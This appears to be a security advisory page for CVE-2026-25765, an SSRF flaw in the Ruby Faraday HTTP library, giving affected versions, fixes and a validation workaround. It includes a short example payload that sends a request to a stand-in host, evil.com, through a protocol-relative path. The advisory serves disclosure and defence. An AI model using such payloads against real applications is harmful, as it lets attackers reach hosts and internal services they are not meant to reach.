CVE-2026-25765: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
Impact Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.
Published Feb 9, 2026 · Updated Feb 12, 2026
Affected packages
faraday
- Ecosystem
- RubyGems
- Affected
- >= 2.0.0, <= 2.14.0
- Fixed in
- 2.14.1
- Check
bundle info faraday
faraday
- Ecosystem
- RubyGems
- Affected
- >= 1.0.0, <= 1.10.4
- Fixed in
- 1.10.5
- Check
bundle info faraday
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.comPatches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
endCredited to theamanrawat, neo-ai-engineer.
References
- https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
- https://github.com/lostisland/faraday/pull/1569
- https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc
- https://github.com/lostisland/faraday/releases/tag/v2.14.1
- https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2
- https://www.rfc-editor.org/rfc/rfc3986#section-5.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-25765
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml
- https://github.com/lostisland/faraday/releases/tag/v1.10.5
- https://github.com/advisories/GHSA-33mh-2634-fwr2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
